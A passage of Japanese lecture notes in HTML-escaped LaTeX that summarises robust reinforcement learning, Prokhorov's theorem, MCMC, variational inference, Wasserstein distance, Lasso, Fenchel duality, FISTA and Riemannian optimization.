&lt;div&gt;&lt;span&gt;V^*(s) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{r &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{R}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma^t r(s_t, a_t) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid s_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = s&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;敵対的強化学習では、環境が敵対的に報酬を操作する場合を扱う。Minimax Q学習では、Q関数を&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(s,a) = (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha) Q^t(s,a) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[r(s,a) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{r' &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{R}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{a'} Q^t(s', a')&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で更新する。これにより、最悪ケースの環境下でも性能を保証できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 確率測度の弱収束とProkhorovの定理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率測度列 $&lt;/span&gt;&lt;span&gt;\{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_n\}$&lt;/span&gt;&lt;span&gt; が $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu$&lt;/span&gt;&lt;span&gt; に弱収束するとは、任意の有界連続関数 $&lt;/span&gt;&lt;span&gt;f$&lt;/span&gt;&lt;span&gt; について&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lim_&lt;/span&gt;&lt;span&gt;{n &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int f \, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_n = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int f \, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が成立することである。Prokhorovの定理により、確率測度族 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}$&lt;/span&gt;&lt;span&gt; が相対コンパクトであることと、タイト（tight）であることは同値である。すなわち、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; に対してコンパクト集合 $&lt;/span&gt;&lt;span&gt;K$&lt;/span&gt;&lt;span&gt; が存在し、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu(K^c) &amp;lt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}$&lt;/span&gt;&lt;span&gt;）が成立する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### マルコフ連鎖モンテカルロ（MCMC）法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;目標分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(x)$&lt;/span&gt;&lt;span&gt; からサンプリングするため、遷移核 $&lt;/span&gt;&lt;span&gt;P(x, dy)$&lt;/span&gt;&lt;span&gt; が詳細釣り合い条件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(x) P(x, dy) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(y) P(y, dx)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たすマルコフ連鎖を構築する。Metropolis-Hastings法では、提案分布 $&lt;/span&gt;&lt;span&gt;q(y|x)$&lt;/span&gt;&lt;span&gt; から候補 $&lt;/span&gt;&lt;span&gt;y$&lt;/span&gt;&lt;span&gt; を生成し、受容確率&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha(x, y) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(y) q(x|y)}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(x) q(y|x)}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で受容する。Gibbsサンプリングでは、条件付き分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(x_i | x_{-i})$&lt;/span&gt;&lt;span&gt; から順次サンプリングする。収束性は、連鎖が既約（irreducible）、非周期的（aperiodic）、再帰的（recurrent）であることで保証される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 変分推論とELBO&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;事後分布 $&lt;/span&gt;&lt;span&gt;p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta | x)$&lt;/span&gt;&lt;span&gt; の近似分布 $&lt;/span&gt;&lt;span&gt;q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)$&lt;/span&gt;&lt;span&gt; を、KLダイバージェンス $&lt;/span&gt;&lt;span&gt;D_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{KL}}(q \| p)$&lt;/span&gt;&lt;span&gt; を最小化することで求める。Evidence Lower BOund（ELBO）は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log p(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_{q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log p(x|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)] - D_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{KL}}(q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) \| p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{ELBO}(q)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で与えられ、$&lt;/span&gt;&lt;span&gt;D_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{KL}}(q \| p) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log p(x) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{ELBO}(q)$&lt;/span&gt;&lt;span&gt; の関係がある。平均場近似では $&lt;/span&gt;&lt;span&gt;q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;prod_i q_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i)$&lt;/span&gt;&lt;span&gt; と仮定し、座標降下法で各 $&lt;/span&gt;&lt;span&gt;q_i$&lt;/span&gt;&lt;span&gt; を更新する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### Wasserstein距離と最適輸送&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率測度 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu$&lt;/span&gt;&lt;span&gt; の間のWasserstein-$p$距離は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;W_p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;inf_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu)} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int d(x,y)^p \, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma(x,y)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)^{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;/p}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で定義される。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu)$&lt;/span&gt;&lt;span&gt; は周辺分布が $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu$&lt;/span&gt;&lt;span&gt; である結合分布の集合である。Kantorovich双対性により、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;W_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{\|f\|_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{Lip}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int f \, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int f \, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が成立する。Wasserstein GANでは、この距離を目的関数として用いる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### スパース最適化とLasso正則化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;Lasso回帰では、$L_1$正則化項を追加した&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}\|y - X&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta\|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda \|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta\|_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を解く。$&lt;/span&gt;&lt;span&gt;L_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$正則化はスパース解（多くの成分がゼロ）を誘導する。座標降下法では、各成分 $&lt;/span&gt;&lt;span&gt;\beta_j$ を逐次更新する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leftarrow S_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{n}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n x_{ij}(y_i - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{k &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ne j} x_{ik}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_k)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt;S_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda(t) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{sign}(t)(|t| - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda)_+$&lt;/span&gt;&lt;span&gt; はソフト閾値関数である。Group Lassoでは、グループ単位でスパース性を誘導する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 凸共役とFenchel双対&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;関数 $&lt;/span&gt;&lt;span&gt;f: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}^n &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cup \{+&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty\}$&lt;/span&gt;&lt;span&gt; の凸共役は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;f^*(y) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}^n} \{x^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top y - f(x)\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で定義される。Fenchel双対定理により、凸最適化問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{x} f(x) + g(Ax)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;の双対は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{y} -f^*(A^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top y) - g^*(-y)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;となる。Fenchel-Young不等式 $&lt;/span&gt;&lt;span&gt;f(x) + f^*(y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge x^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top y$&lt;/span&gt;&lt;span&gt; が成立し、等号は $&lt;/span&gt;&lt;span&gt;y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial f(x)$&lt;/span&gt;&lt;span&gt; のときである。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 近接勾配法とFISTA&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;非滑らかな目的関数 $&lt;/span&gt;&lt;span&gt;f(x) + g(x)$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;f$&lt;/span&gt;&lt;span&gt; は滑らか、$&lt;/span&gt;&lt;span&gt;g$&lt;/span&gt;&lt;span&gt; は非滑らか）を最小化するため、近接勾配法は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;x^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{prox}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta g}(x^t - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla f(x^t))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で更新する。ここで近接作用素は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{prox}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta g}(z) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;arg&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta}\|x - z\|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + g(x)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;である。Fast Iterative Shrinkage-Thresholding Algorithm（FISTA）では、モーメンタム項を追加し、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;y^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = x^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{t-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{t+&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}(x^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} - x^t)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で加速する。収束率は $&lt;/span&gt;&lt;span&gt;O(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;/t^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### リーマン最適化と多様体上の最適化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;多様体 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}$&lt;/span&gt;&lt;span&gt; 上の最適化問題では、接空間 $&lt;/span&gt;&lt;span&gt;T_x&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}$&lt;/span&gt;&lt;span&gt; 上で勾配を計算し、リトラクション（retraction）$&lt;/span&gt;&lt;span&gt;R_x: T_x&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}$&lt;/span&gt;&lt;span&gt; で多様体上に戻す。リーマン勾配は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{grad} f(x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{Proj}_{T_x&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{M}}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla f(x))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で与えられる。リーマン共役勾配法では、接空間上の共役勾配方向を計算し、Armijo条件を満たすステップサイズを選択する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
